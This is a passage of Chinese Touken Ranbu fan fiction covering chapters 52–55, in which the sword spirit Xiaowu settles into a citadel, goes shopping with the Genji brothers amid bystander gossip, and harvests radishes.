也容易因无法承受真相或化解执念导致灵体崩溃,化为虚无。 达到成为付丧神条件的刀剑何其多。时之政府目前已实装的刀剑付丧神的本灵都是挺过了极化修行的佼佼者,但这背后,还隐藏着无数未能修行成功,在历史长河中无声湮灭的刀剑。 即使是成功者,在修行过程中也是凶险万分。 例如今剑, 一开始难以接受自己是不存在的刀剑这个残酷的事实, 差点就消失在了修行中。 又例如大和守安定,因为不接受冲田总司的死亡, 意图改变历史, 结果差点因为改变了自己的过去而影响到现在的自己, 幸亏时之政府预备了后手及时警醒, 才成功唤醒了大和守安定的理智,这才没有酿成大祸。 无论小乌他是若草,还是传言中的小乌, 都经历过友切的惨剧,本体受过严重的创伤,让他去极化修行简直就是让他去送死。 膝丸:“这也太危险了” “要是”膝丸试图寻找转圜的余地,“小乌不打算降下分灵,是不是也不需要去极化修行?” 毕竟他们去极化修行是因为降下分灵需要拥有足够稳固的根基和强大的力量来承受分裂和力量的回流,如果小乌不走这条路,就不需要有多强大。 小乌丸却缓缓摇头:“凡是刀剑都会踏上旅途的。赠送、转卖、被窃或战死,命运各不相同罢了。” “如果是其他子代,这个方案是可行的,但是小乌并不适用。” 髭切:“腿丸忘了吗?小乌现在有多虚弱,那些本丸我们可以同时负担几十个,他却连一个E923本丸都吃力,甚至还要留下审神者提供灵力。” 也得亏那个审神者资质真的特别差劲,小乌才能凭借本灵的身份,用神性控制住她。 的确 膝丸回忆了一下,甚至觉得光是和小乌手合都可能会不小心把他给碎掉 啊,他是膝丸啊! 髭切:“记忆大部分缺失,连自己究竟是谁都不清楚,根基不稳,逸闻单薄并且没有信仰供奉这么虚弱,哪怕放着不管也说不清能活多久呢t?。” 如果可以,小乌丸也不希望有刃因为极化修行而离去,但他尊重他人的选择,也支持他们行向自己所选择的道路。 小乌不打算和时之政府签订契约降下分灵也没关系,并不是所有的刀剑付丧神都有维护历史的义务,但现在已经不是愿不愿意降下分灵的问题了,小乌现在如同无根浮萍,摇摇欲坠,如果不尽快完善自身的历史,稳固自己的根基,哪一天就会自己消失。 大家的心情一时都变得沉重。 如果能寻找回记忆或者是明确自己的身份,回到时之政府,政府可以帮忙修正历史记录,宣扬正确的历史和逸闻,增加小乌的信仰。 小乌没有选择题可做,唯一极化修行能谋取一线生机。 最后髭切打破了沉默:“反正还有一些时间,先让他在这里适应一下吧,和大家多接触接触,我们就负责对他进行教导,让他能够做好更充足的准备去进行修行吧。” 小乌丸颔首:“没错,为父会为子代铺好前路。还可以去找其他子代提前做一些准备,这样在那孩子去修行的时候或许还能推他一把。” 髭切提议:“写信如何?” 小乌丸:“哦哦,很不错呢。” “那找”髭切开始思考,思考失败,他连刃名都记不清,更别提筛选合适的写信刃选了,于是他把这个活扔给了膝丸,“弟弟、弟弟,帮我一下。” “”膝丸无奈地接下了兄长丢给他的活。 他一边冥思苦想,一边细数:“鹤丸和小乌关系比较亲近,千子村正可以,而且他的分灵也和小乌关系好然后今剑、岩融一文字则宗” 膝丸念出这个名字的时候顿了一下,这个刃他有些担心此刃说的话会不会起到反效果。 算了,虽然刃说话又密又不太中听,但毕竟是能做政府检察官的,能力毋庸置疑。 先记着吧,再考虑考虑。 他们现在能做的就是在这一段缓冲期里,尽可能地为小乌做好能够在他迷茫之际将他拉回的准备 鹤丸国永兴冲冲地拉着小乌来到他的部屋。 不过马上也是他们的部屋啦。 推开门,小乌不禁发出一声惊叹:“好大——!” 本灵的待遇果然不同凡响,与其说是部屋,不如说是一栋栋联排或者独立的小型住宅。 客厅宽敞明亮,完全的现代化,落地窗采光极好,又大又柔软的沙发前是一个巨型投影屏幕,旁边还有一个玻璃柜子放着许多游戏机。 装修和家具材料都是肉眼可见的好质感,到处都是高科技产品,甚至很多都是小乌没有见过的。 小乌看得两眼放光。 这么好的房子,是多少人的毕生梦想啊! 以后真的就住这了吗?也太幸福了! “欢迎来到新家!怎么样?不错吧?”鹤丸国永得意地张开双臂,“随便逛!” 小乌看得眼花缭乱,连连点头:“好棒啊!我还以为会是之前在E923本丸见的那种很传统的房间。”没想到直接就是一栋住宅。 而且特别与时俱进,非常现代化。 柜子里面看起来有很好玩的游戏设备,咳。 小乌:“好多东西都没有见过。” 时之政府的时间线对他来说属于未来,科技认知更为落后。 鹤丸国永立刻拉着他一个个试过去:“整个屋子都有智能家居系统,语音控制很方便。” “这个可以全息投影” “这个可以自动抓取物品” 小乌跟着鹤丸国永把设备都试了一遍,新奇感十足。 他还有特别满意的两个点,一个是洗衣机是按刃头算的,时之政府财大气粗地给每人都安排了一台,不用面对排队使用洗衣机的场面。 另一个是不需要亲自做饭,时之政府的阴阳师研究了多种功能的式神,能够直接把生活琐事都包圆,打扫做饭什么的根本不用亲自动手! 神仙生活。 没见识的小乌表示他已经被时之政府提供的福利给征服了 两刃在客厅玩得不亦乐乎,知道外面响起了代表开饭的铃声才如梦初醒。 鹤丸国永:“啊!要开饭了!” 他赶紧拉起意犹未尽小乌:“走走走,先去看一眼卧室然后就去吃饭!” 几步之间小乌开始畅想卧室是什么样的,结果鹤丸国永拉开门,门后的景象让他傻眼了。 卧室就是非常传统的和室,装潢古朴,小乌站在门口看看里面,又看看外面,沉默了。 这房子怎么又新潮又古老的? 反差也太大了吧! 果然鹤丸国永本质上还是老年刃啊 晚上九点。 “嘿咻!” 鹤丸国永从壁橱抱出被褥在榻榻米上,小乌跟着一起铺床。 然后跪在床铺上还没来得及起来的小乌就被鹤丸国永不由分说地塞进了被窝里。 “睡觉咯!” 小乌:? 小乌:不是?现在才几点? “晚安。” “这也太”早了。 小乌转头,鹤丸国永已经安详地睡着了。 鹤丸国永:Zzzzz 轻微的鼾声响起。 秒睡。 小乌:??? 他瞪大眼睛,难以置信地看着旁边那个已经陷入深度睡眠的鹤丸国永。 这就是老年刃的作息吗?! 原来当初在平安时代他们都是按正常作息睡觉起床,只有他一个刃在艰难地适应古代人的作息吗?! 小乌在黑暗中望着天花板,他真的不太行,自从离开平安时代以后他就放飞自我没有再执行这么健康的作息了,现在没办法再立刻适应。 “闭眼。” 本该已经睡着的鹤丸国永突然出声。 小乌:!!! 你不是睡着了吗? 鹤丸国永闭着眼翻过来,给他拉了拉被子,但是因为是闭着眼拉的所以直接把小乌的头闷了起来。 唔唔! 小乌噗地一下吐出一口气,打在脸前的被子上,然后拉下盖在脸上的被子解救了自己。 小乌小小声:“你不是睡着了吗?” 鹤丸国永不语,因为小乌发现他给他拉完被子后维持着伸手的姿势又睡着了。 鹤丸国永在梦中嘴角微微上扬。 嘿嘿模仿了一期一振照顾弟弟的时的样子,小乌现在一定很为我啄米吧没错,鹤就是这么靠谱的一刃Zzzzz 鹤丸国永的一套丝滑小连招直接让小乌幻视那种坐在沙发上开着电视睡觉,关了又能马上睁眼说不要关我在看的老人家 睡不着啊。 小乌继续瞪眼。 鹤丸国永,起来重睡! 第53章 第五十三章 被父上梳毛 天刚亮鹤丸国永的生物钟就准时地将他唤醒。 他睁开眼, 轻巧地坐起身,伸了个大大的懒腰,头发凌乱地翘着。 他歪头看看旁边, 小乌还蜷缩在被窝里, 呼吸均匀绵长, 显然还在呼呼大睡没有要醒的意思。 唔 鹤丸国永看着小乌的睡脸心里有些奇怪,他接受的记忆中似乎小乌一直都是和他的分灵同一时间起床的,怎么现在还没醒。 不过孩子想睡就睡吧,反正也不要干嘛! 他打了个哈欠, 把这点疑惑抛至脑后,动作放轻, 蹑手蹑脚地拉开门走了出去。 新的一天开始咯! 这个点起床的刃也不多, 鹤丸国永精神抖擞地出去晃悠了一大圈,呼吸清晨新鲜的空气,直到本丸的大部分刃都起床了,餐厅那里也飘来了食物的香气时才重新回到溜达回自己的部屋。 嗯嗯,应该叫小乌一起去吃早饭了! 他听见过一期一振教训弟弟不能不吃早饭,对身体不好, 所以也要叫小乌起来吃早饭! 一期一振, 他的学习模范。 他回到和室,小乌还在睡, 只是从蜷缩的姿势变成了平躺, 被子被踢开了一角。 可惜现在该起床了, 不然还能掖掖被角。 开始沉浸式代入当哥角色的鹤丸国永遗憾地想道。 “起床啦!” 鹤丸国永轻轻推了推小乌的肩膀。 小乌迷迷糊糊地“唔”了一声, 揉着眼睛坐起来,呆愣愣地看着被子发傻。 小乌发呆:“” 小乌清醒,慢吞吞:“哦几点了?” 鹤丸国永:“九点了。” 区区九点, 他还可以再睡到好吧,刚刚到本丸还是要表现得好一点,给大家一个好印象。 小乌醒觉后洗漱一番t?,就跟着鹤丸国永去往了餐厅,这个点正是大部分刃起床的时间,餐厅坐了很多刃,空气中飘满了食物的香气,气氛热闹。 小乌被按在座位上,面前很快摆满了丰盛的餐食——热气腾腾的味增汤,晶莹剔透的白米饭,烤得恰到好处的秋刀鱼、玉子烧和各种精致的小菜。 他吃了几口,就抬头看到源氏兄弟正从餐厅门口进入,朝他这个方向过来。 小乌连忙咽下嘴里的食物,鼓起勇气主动和他们打招呼:“髭切,膝丸,早上好!” “呀,早上好~” 髭切脚步未停,却在经过小乌身边时顺手撸了一把他的头毛,就像路过的垃圾桶盖上蹲着一只小猫,高度正好,于是顺手摸一把。 小乌感到头顶一沉。 膝丸紧随其后,也回应道:“早上好,小乌。” 他看见髭切的动作,眼神闪烁一下,脚步停顿,随即也伸出手跟着撸了一把。 小乌的头顶再次一沉。 两兄弟的手一前一后离开,彭彭的小卷毛被压扁又坚强地弹起。 手感真的很好啊。 膝丸意犹未尽地多看了两眼,这才提速跟上兄长的脚步。 小乌抬手挠了挠被揉乱的头发,表情平静,他已经被各种刃摸头摸得习以为常了,他懂的,他的头发手感很好,他自己没事也喜欢摸两下,嘿嘿。 吃完早饭,鹤丸国永带他参观本丸,两刃沿着回廊漫步,然后遇到了坐在廊下晒太阳的小乌丸。 他此时穿的是轻装,长发并未束起,身后一对巨大的翅膀舒展开来,层层叠叠的羽毛在阳光的照射下下反射出光泽,格外华丽和震撼。 小乌丸身边还有刃,狮子王和拔丸就坐在后面。 狮子王在帮小乌丸梳理羽毛,并且摘下已经脱落但是卡在翅膀上的羽毛放到一边的篮子里,地上摆着些瓶瓶罐罐,拔丸好奇地看着这些罐子,拨弄几下被摘下来的羽毛,捻在手里玩。 哇!是父上极化后的大翅膀! 小乌眼热极了:狮子王你梳得明白吗?梳不明白换我来怎么样? 听到脚步声,三刃同时抬头看过来。 “哦呀。”小乌丸看到是他们,侧身露出笑容,“早上好子代们。” 他这一动,那对巨大的翅膀也随着转动,狮子王还好,拔丸就没那么好运了,眼前一黑,惨遭翅膀呼脸。 “啪!” 拔丸:“啊!” 小乌丸:“哎呀,抱歉。” 拔丸呸出嘴里的羽毛,表情有点生无可恋:“没事。” 然后他挪动屁股换了个远点的地方坐。 他可不想再挨一下。 “早上好父上大人!”小乌扑腾的耳羽表露出了他的兴奋。 好想用脸蹭蹭翅膀,拔丸你懂不懂得享受! 要是他,他就故意坐近一点,这样翅膀过来的时候就可以趁机多摸几把了。 拔丸:跟你们鸟太刀对翅膀的向往没有共同话题,哦,还有一个天狗。 小乌丸有心再安慰一下拔丸,可惜现在的姿势实在是不太方便动弹,只好先记着之后再说。 他的目光被小乌扑棱的耳羽吸引,眼中笑意更深,招手让他过来坐:“来。” 小乌立刻像只被召唤的小鸟,欢快地小跑过去,跪坐下来。 小乌丸这次记得先和狮子王和拔丸说了一声,确保翅膀不会再袭击到刃,这才转动身体调整了方向,和小乌面对面坐着。 他伸出手,指尖轻柔地拂过小乌耳后的那对小翅膀,细细地理了理凌乱的羽毛,然后从旁边挑出一个装着护理羽毛用的罐子,挖出膏体给他抹上。 这些东西都是时之政府提供的,每个刃都有被针对性格爱好赠送过专门定制的各种礼物。 小乌任由小乌丸摆弄,舒服地眯起眼,只有在翅根痒的时候才忍不住扇动一下翅膀。 鹤丸国永凑过来,手欠地伸手想摸摸已经涂好的一边耳羽,被小乌丸及时察觉,啪地一下轻轻打开,鹤丸国永倒吸一口气,哎哟哎哟地捂着手假装手被打红了。 护理完耳羽,小乌丸确认涂抹均匀,才满意地点点头:“好了,子代从为父这里拿走吧,为父这里还有很多,羽毛要好好护理才行。” 小乌抬手摸摸自己变得顺滑还有淡淡的香味的耳羽,开心地道了谢。 小乌丸转向鹤丸:“子代接下来可有安排?” 鹤丸国永被小乌丸阻止之后就转移了目标研究地上其他的瓶瓶罐罐,闻言抬起头:“哦,打算带小乌好好逛逛本丸之后去万屋采购。” 小乌丸点头:“为父有事需要找你,逛完后让源氏带子代去万屋吧,我会让子代帮忙通知源氏的。” 然后又对小乌说:“为父会让髭切和膝丸去你们的部屋找你。” 狮子王听到主动请缨:“哦!就交给我吧!” “我去吧,正好我要走了。”拔丸按下狮子王,“梳你的毛。” 小乌丸:“多谢。” 诶? 鹤丸国永眼睛瞪得圆溜。 为什么?! 他很想抗议,但是小乌丸也鲜少有这么不容拒绝的态度,明白肯定是有正经事要做,只好焉焉地答应:“好哦。” 于是在带着小乌逛了本丸一些比较常用的场所之后就先将小乌送回了部屋。 进入客厅,源氏兄弟已经非常不见外地坐在沙发上了,髭切手上还拿着一瓶刚从冰箱里掏出来的可乐,膝丸坐得笔直,手上端着一盘甜点,鹤丸国永看了一眼,不是他屋里的,应该是吃完早餐后顺手端出来的。 “哟,回来啦。” 髭切的姿态仿佛他才是这个屋子的主人。 他举起可乐对着鹤丸国永摇了摇,鹤丸国永失笑:“拿吧拿吧,放了那么多就是给客人喝的。” 鹤丸国永把小乌往前推了推,交接了出去:“我走了。” 三刃相互对视一眼,膝丸率先站起来到小乌面前,变戏法似的拿出一张护神纸贴到小乌的脸上。 膝丸:“护神纸可以遮挡面容。” 护神纸触碰到皮肤的瞬间传来一丝凉凉的触感,小乌只感觉到眼前一黑一亮,其他什么变化都没有。 视野清晰如常,没有任何遮挡。他去摸脸,确实能摸到有一张纸,但是小心翼翼地晃晃脑袋,脸上的纸却纹丝不动。 “哇。” 小乌像小狗一样用力甩头,护神纸还是毫无变化,非常牢固,仿佛已经和他的面皮融为一体了。 膝丸卡住他甩动的头:“干什么,再怎么甩也是不会掉的。” “哦哦。”小乌这才意识到他刚刚在源氏兄弟面前表演了一套蠢动作,脸上热度上升,还好有护神纸遮掩,什么都看不出来。 “好了,走吧。” 髭切站起身,伸了个懒腰。 三刃通过传送装置瞬间抵达了万屋。 真实的万屋繁荣程度远超游戏世界的万屋,传送装置旁边的地图可以看出万屋已经可以称得上是一个庞大无比、纵横交错的商业帝国。 街道两旁店铺林立,招牌霓虹闪烁,售卖着从刀装材料、御守符纸、灵力补给品到各种零食、服装、家具用品、娱乐设备等等一切商品,人声鼎沸,摩肩接踵,一眼望不到头,全是攒动的人头,无数审神者和刀剑付丧神身上散发的灵力波动、叫卖声、欢笑声汇集成一股洪流冲击着小乌的感官。 “哇!” 这可比游戏的那个万屋有人味多了,浓浓的烟火气。 小乌就像刘姥姥进了大观园,眼睛都快不够用了,看什么都新鲜,这里摸摸,那里瞧瞧,像只刚出笼的小鸟。 人潮汹涌,为了避免小乌被人流冲散,三刃的阵型在不知不觉中就变成了源氏兄弟中间紧紧夹着一个小乌。 小乌今天穿的是他们送的内番服,从头到脚都是源氏的风格,加上旁边两刃穿的也是内番服,风格统一形成一道靓丽的风景线,回头率爆表。 第54章 第五十四章 源氏夹心(?) “喂喂, 快看那边!”一个挽着闺蜜的女孩用胳膊肘捅了捅同伴,压低声音兴奋地说,“看那边的源氏!” 她的闺蜜顺着目光看过去, 不以为意:“咋了, 虽然源氏兄弟没有遍地跑但是也不少见呐。” 很多有源氏的也会带着兄弟两个出门, 只要关系好,这种审神者被夹在中间走的画面也不少见,还有审神者会特地要求他们这么做,被两个男模夹在中间真的超爽的!感觉旁边站了两个骑士或者保镖一样, 特有面子。 “哎呀,重点不是这个!”女孩挤眉弄眼, 满是八卦的意味, “你看那个审神者穿的衣服,和髭切膝丸的内番服是同系列的款式,衣服上还有源氏的家纹,绝对是源氏兄弟亲自挑的,你不觉得他们之间有点暧昧吗?” 闺蜜被她这么一说,也仔细打量了一番, 髭切t?偶尔侧头对着“审神者”低声说些什么, 膝丸则不动声色地替“审神者”隔开拥挤的人群闺蜜眼神有点变了。 闺蜜:“是诶但这是男审吧,看起来还挺小的, 我是磕不动, 我觉得是兄弟情或者父子情, 源氏就把审当弟弟或者孩子一样养也很香啊。” “男审怎么了?”女孩越看越觉得这三人好品, 愈发兴奋,“古代人可比我们现代人玩得还花,平安老刀对这方面的观念很单薄的啦, 我珍藏的本子被发现之后那些老刀们看什么xp本都面不改色的,甚至还能点评。” “古人玩起来男女不忌,不是还有那种和近侍睡觉来稳固忠心的操作吗?区区男审不是困难!而且这一对还是源氏!光源氏计划多有名啊,把小审神者从小养在身边精心养育,等养大了就把审吃掉嘿嘿嘿呜呜呜呜!” 女孩脑补得热火朝天,越讲越激动,声音情不自禁地放大,引来了旁边路过的听觉灵敏的刀剑付丧神们诡异的目光,闺蜜连忙捂住了她的嘴手动消音。 闺蜜:汤姆猫捂嘴 jpg. 闺蜜:你可小点声吧,这可是要杀头的 jpg. 别给当事人听到了。 女孩也反应过来刚刚声音太大了,瞟了几眼小乌一行刃,看见他们没什么反应,于是长吁一口气。 小乌他们虽然没听清楚女孩具体说了什么,但是后面声音变大了,他们也听到了后面在讲“光源氏”“审神者”“养大吃掉”之类的字眼。 哇哦。 小乌只是发出了一个没有什么意义的词汇,好像什么都没说,又好像什么都说了。 唉,源氏的名声。 唉,没救了。 “诶”髭切看了看附近,这条街上好像没有别的髭切和膝丸了,再看看外表年龄明显比他们小了很多的小乌,结合刚刚听到的字眼,他的表情僵硬了一瞬,“好像是在说我们,觉得我们在对审神者玩养成?” 膝丸:“什么养成养成谁?” 然后看到小乌面上的护神纸,明悟,表情也僵了:“哈?” 这群审神者平时到底都看了些什么? 时之政府怎么培训的审神者,天天看一些乌七八糟的东西! 时之政府:《源氏物语》是名著你让我怎么禁,你坏! 小乌: 小乌还算能接受,冲浪冲得多,什么大风大浪都见过,区区养成罢了。 不过三刃总算知道为什么小乌做了伪装周边的视线还是越来越火热。 髭切觉得很有趣,眯起眼睛伸出手揽住小乌的肩膀,往自己身边带了带,动作亲昵,果然周边马上就隐隐响起几下吸气声。 膝丸没注意到髭切的坏心思,只是发现小乌往兄长那边靠了之后也下意识贴过去,在众人的眼里就是膝丸不甘示弱,意图争宠! 吸气声开始此起彼伏。 小乌:。 太坏了! 小乌伸手勾住膝丸的手臂,把他拉过来一点:“膝丸不要走丢哦。” 还可以更坏! 人群出现了骚动,有人举起了终端偷偷拍照 动静已经大到膝丸完全没办法忽视了,留意了一下他们谈论的内容,才发现髭切和小乌那些小动作的含义。 膝丸:别玩了。 兄弟就是兄弟啊,是不能变成咳! 再说了和兄长争宠什么的,如果他和兄长喜欢上同一个人,他当然会先让兄长 不对,我为什么要想这个! 女孩看到“审神者”左拥右抱的场面,激动得差点跳起来,死死抓住闺蜜的胳膊猛摇:“看到没?看到没!我就说这是爱情!” 与此同时,论坛上也被上传了许多各种角度的照片和视频,帖子一下子就被顶出了hot标。 【磕到了磕到了!今天也是为别人家审与刀的绝美爱情流泪的一天!】 1l:如题,坐标万屋。[图片1][图片2][图片3]姐妹们我没了,路上看到一个审神者带着一对源氏穿情侣装(一开始只是猜测),但是后面髭切还主动搂审的肩膀,膝丸也跟着贴过去,审还主动拉了膝丸,让楼主更确信了这一对一定是小情侣!好甜好甜。 2l:源氏夹心好评! 3l:我也看到了,当时看到他们的穿着就在想审的衣服是不是源氏亲自挑的,上面有源氏家纹啊! 4l:好吃,我吃吃吃!但是注意当事人隐私啊! 5l:啊啊啊还有动图! 6l:审神者成年没有啊看身高感觉好小,但是养成流鼻血竖大拇指 jpg 330l【管理员】:本贴讨论热烈,但请注意发言尺度,避免涉及个人隐私及过度臆测~ 偷拍不好,所以管理员出手把照片和视频都屏蔽了,所以大家都遗憾地转为了讨论各自本丸的婚刀和日常。 髭切神情自若,小乌戴着护神纸没人知道他是谁,也放肆起来——审神者关他小乌什么事? 只有膝丸一刃在意。 他急切地扫视着周围的店铺,看见一家大型服装店,指向它:“那家店的衣服好像不错,要进去看看吗?” 髭切:“哦哦,买衣服吗?小乌是需要再买一些衣服。” 髭切没有松开揽着小乌的手,就这么把他带进了服装店。 店铺里比外面人挤人的街道好多了,也隔绝了许多视线,膝丸为了转移注意力,给小乌挑了好多衣服,小乌都快抱不下了。 小乌也是真没料到,膝丸居然是很喜欢给人搭配衣服的类型吗?不过这兄弟俩确实看起来就是衣品很好的那一类。 髭切凑过来筛掉了一些,然后又添了一些,然后小乌就抱着一摞的衣服被膝丸推进了试衣间,让他慢慢试。 小乌在试衣间对着成山的衣服陷入了思考:这要试到什么时候去? 看见小乌进入试衣间,膝丸的眼神瞟向了隔壁。 这家店男装男女装都有卖,分成了两个区,膝丸看的就是女装区。 他干咳一声,对已经坐在懒人沙发上的髭切说:“兄长,我稍微离开一下。” 髭切抬起眼皮,嘬了一口导购送过来的柠檬水,一脸了然和促狭:“去吧记仇丸,早点回来哦。” “是膝丸啦!” 膝丸被髭切的称呼给噎了一下,心虚了一瞬,但很快又理直气壮起来,雄赳赳气昂昂地走向了女装去,仿佛不是去买女装而是要去挑选炸药包。 女装区里大多数都是女审神者们和少数陪审神者或者喜欢女装的刀剑付丧神,看到女装区来了一振膝丸,瞬间引起了大家的注意。 几名一起来逛街的审神者窃窃私语: “是膝丸诶。” “他怎么会来这里,给哥挑女装?” “你思路好清奇,反过来髭切给弟挑女装才有点可信度。” “你好不到哪去。” “你就说髭切干不干得出来吧!” “像是他会干的事。” “所以还是给主人挑的可能性比较大吧,哦哟,还知道尺寸,嘿嘿嘿~” “?不对啊,我刚刚跟着这个膝丸进来,同行的还有一个髭切和男审啊。” “?” “??” “???” 啊?髭切?啊?男审? 一伙人突然发现事情好像变得不简单了。 膝丸突然背后发凉,打了个喷嚏。 完全不知道自己已经变成有特殊癖好的膝丸了,不管是给哥挑女装还是给男审挑女装。 小乌试完衣服挑出几件满意的出来,看见髭切和膝丸都已经陷进了软绵绵的懒人沙发里,膝丸好像有点热,额头上还有汗珠。 小乌没有在意,只是把自己满意的衣服穿出来给他们过眼,每一套都得到了源氏兄弟的夸赞。 衣服是他们挑的绝对审美在线,刀剑付丧神的人形都是美人,怎么穿效果都非常好。 小乌被夸上头了,大手一挥,用时之政府打给他的“安家费”一连买下了好几套衣服。 购物一旦开始就很难停下了,小乌又逛去了饰品区,耳钉、发绳之类的小饰品零零散散又买了一大堆。 源氏兄弟跟在他后面,看着他对着一面小镜子比划,都忍不住露出笑意,膝丸对髭切低声说:“还挺臭美的。” 但膝丸又想起刚刚小乌挑选的衣服无论风格,露肤度都极低,都是包裹得严严实实的类型,心里觉得不是滋味。 小乌这么选应该是为了遮掩身上的伤痕。 趁着小乌注意力不在这,注意到膝丸心情变化的髭切悄悄问他:“要放弃了吗?t?” 他指的是膝丸之前偷偷跑去买的东西还要不要用。 膝丸动摇了一下:“再等等吧” “嗯嗯。”髭切拍拍他的肩膀,“那就等他修复好吧。” 第55章 第五十五章 这是萝卜丸 三刃满载而归, 他们先回到小乌和鹤丸国永的部屋把东西放下,髭切和膝丸也买了不少东西,小乌又跟着搬东西搬到源氏的部屋, 膝丸打开门, 唰的一下又关上了, 掀起一阵风,三刃的刘海飞舞,小乌甚至还没得及瞅一眼里面。 小乌:“?” 髭切:“诶——” 膝丸:“东西就先放门口吧,等等我和兄长回来再拿进去。” 服装店买的女装按照膝丸的要求被先一步送回本丸放置在部屋里头, 大刺刺地摆在那,不能让小乌看到。 从膝丸刚刚的动作里, 小乌怀疑他们部屋是不是有什么不可见人的东西。 不过膝丸不愿意让他看, 他也不探究了,他以为源氏兄弟还有事要做,今天就到此为止了,没想到髭切却开口问他要不要跟他们一起去田地里。 小乌一愣:“田地?” 本灵是没有做内番的必要的,大部分琐事都由时之政府提供的式神和高科技代劳,十分方便。本丸里的田地更多是处于个别刃的兴趣爱好而种植的, 瓜果蔬菜最终都是会进入大家口中的食物, 所以在收获等忙不过来的时候大家也会自发地轮流去帮忙。 膝丸:“我们这下要去田地里帮忙收获作物。” 这也是他们今天穿着内番服上街的原因,回来不需要换衣服, 直接就能下地。 通过今天的相处, 小乌也和源氏兄弟拉近了许多, 他想和源氏兄弟再多待一会, 也想看看本丸的大家平时都会做些什么,所以欣然答应。 三刃再次出发。田地划分清晰,生机勃勃, 远远能看到几个身影在各自的区域忙碌着。 踏入田埂,膝丸还在给小乌比划他们的采摘范围,髭切就已经目标明确地奔向种着萝卜的菜地去了。 “兄长!等等我!”膝丸连忙喊着髭切追上去了,小乌也背着筐子小跑跟上。 只见髭切在萝卜地里弯着腰寻寻觅觅,不一会儿,他眼睛一亮,拔出了一根萝卜。 伴随着簌簌落下的泥土,一根形状别致的萝卜被髭切毫不嫌弃地抱在怀里,然后转过来用抱小孩的姿势展示给他们看:“找到了!” 这根萝卜的形状已经快脱离萝卜的范围了,长着像四足动物一样的四条尖尖的腿,有尾巴,像马一样有脖子有脸,像脸一样的地方还有两撇黑色的线,不知道是眉毛还是眼睛还是胡子,顶上一簇绿油油的菜叶就像竖起的头发。 髭切:“这孩子果然又出现了。” 小乌定睛一看,好嘛!这不是大根吗! 他差点笑出声,前世游戏官方还出了大根的玩偶还有髭切与大根同框柄图的谷子,特别可乐。 实物的冲击力还是比图片和周边更强,这浑然天成又匪夷所思的造型让小乌凑近左看右看,越看越觉得有点眼熟。 突然,小乌灵光一闪! 他伸出手将大根右边的菜叶弯下来,遮住了大根“脸部”的右侧。 小乌侧开身子展示给膝丸看,一本正经地说:“膝丸。” 膝丸:“???” 他张开嘴,露出尖牙,憋了半晌,才发出一声:“这哪里像我?!” 髭切兴致勃勃地把大根转回来,学着小乌刚刚的动作,像是发现了新大陆一般,看看大根,又看看膝丸,再看看大根,然后惊喜地呼喊:“真的很像萝卜丸诶!” 膝丸崩溃:“才不是萝卜丸是膝丸啊阿尼甲——!” 膝丸欲哭无泪,不能哭,后辈还在这里看着呢,不能哭! 怎么能把他和这根奇形怪状的萝卜相提并论!兄长也真是的,为什么对这根萝卜情有独钟啊! 这根奇怪的萝卜就像在本丸的田地里安装了复活点一样,每次收获季都会从地里冒出来,兄长也每次都能精准地从这么大一块地中找出大根,久而久之,本丸里所有的刀剑付丧神都心照不宣地把萝卜地的收获工作默认分配给了他们。 膝丸好想把这片萝卜地都铲了,但萝卜地不是他种的,遗憾退场。 哎呀,要把弟弟弄哭了。 髭切收起了玩笑的心思,把大根扔进自己背后的筐里,走到膝丸面前安慰他:“好啦好啦,我们开始工作吧,膝丸。” 膝丸:“!” 膝丸:“兄长!”我的名字! 髭切有一搭没一搭地拔萝卜,膝丸在后面一边教小乌怎么拔萝卜,一边勤勤恳恳地拔,还从髭切手里抢萝卜率先放到自己的筐里,让髭切不必背着过于沉重的背篓。 髭切没工作多久就原型毕露,拉拉肩带,挥手和膝丸和小乌告别:“好累呀,我去找月亮丸和茶味丸喝茶啦~” 不远处的走廊上正坐着一溜的喝茶组,要么是躲懒的,要么是来看家属在田里劳作的。 膝丸和小乌应了一声。 小乌过了那个新奇劲后也觉得拔萝卜没那么有意思了,眼巴巴地看着髭切去阴凉处喝茶了。 小乌羡慕,但是髭切是因为有膝丸兜底,他也不敢抛下膝丸跟着去和髭切喝茶。 长辈还在劳作呢,他一个小辈跑了像什么话。 膝丸也注意到了小乌在开小差,打算着他要是敢跑就狠狠制裁他,他还没算刚刚把他当成萝卜的帐呢! 好在小乌只是看看喝茶组的方向就继续老老实实地在他旁边拔萝卜了。 膝丸很欣慰,他们家小辈还是很乖的。 没有被鹤丸国永带坏真是太好了。 虽然小辈调皮一些挺好的,但是皮成鹤丸国永那样到处恶作剧逃番就不好了。 小乌艳阳天下打了个冷颤,殊不知自己逃过了一劫。 但又没完全逃过,膝丸已经在心里盘算着以后干农活带上他一起了。 要不是为了替兄长干,他也不想干农活 弟弟的本职就是被兄长折腾啊,换成小辈也是一样的,没错。 来给我干活吧!他以后有伴分担了哈哈! “就这样丢下弟弟和小辈,自己跑过来偷懒,这样好吗?” 小狐丸看了一眼坐过来掏出大根给他们看的髭切,慢悠悠地梳理着自己的毛发,调笑道。 “唔。”髭切吃了一口团子,“这是修行啦修行,可以修身养性哦。” 他主要指的是小乌,这几个经常一起喝茶的刃大概都知道一些髭切和小乌丸的打算,虽然原因不明,但似乎是要送小乌去极化修行,所以有意锻炼他。 极化修行不考验武力,主要考验的是心性,但是小乌的准备时间不如一般的刀剑付丧神充分,大家一时间有点不知道从哪教起好。 数珠丸恒次盘坐一边,嘴角微微勾起:“正所谓‘衣食足而知礼节’呢。” “修行若有需要,我也可以帮上一些忙。” 髭切:“感谢~” 修行数珠丸恒次口中的修行是他想的那种修行吗? 路过的加州清光火速倒退,原路返回。 打扰了,哈哈。 祝你好运,小乌殿。 前方可是地狱啊! 来到本丸的第二天结束了,小乌在晚上见到了一天没见的鹤丸国永。 鹤丸国永又准备把小乌塞进被窝里的时候,小乌早有准备,像泥鳅一样滑溜溜地滑走了。 小乌拒绝睡得这么早:“你先睡啦,我再玩一会。” 鹤丸国永无奈放过了他:“好吧,不要玩得太晚哦。” 呜呜,要独守空房了。 嘿嘿,可以玩摆在客厅橱柜里的那些游戏了! 小乌心里一阵窃喜,在外一天,他还没来得及摸呢,昨天看到的时候就馋了。 小乌开始在客厅里面打游戏。 第二天早上,鹤丸国永起床,发现旁边的床铺空无一人。 鹤丸国永:? 他起身拉开门,光脚悄无声息地走到客厅,发现小乌居然还坐在地上全神贯注地打游戏。 不会吧 鹤丸国永望了望窗外逐渐亮起的天色。 他不会是打了个通宵吧? 鹤丸国永摸到小乌后面,哇了一声。 小乌手里的游戏机啪嗒一下掉到地上,小乌习惯了一晚上安安静静的氛围,被鹤丸国永这一下整得差t?点嘎的一下心跳过速昏过去。 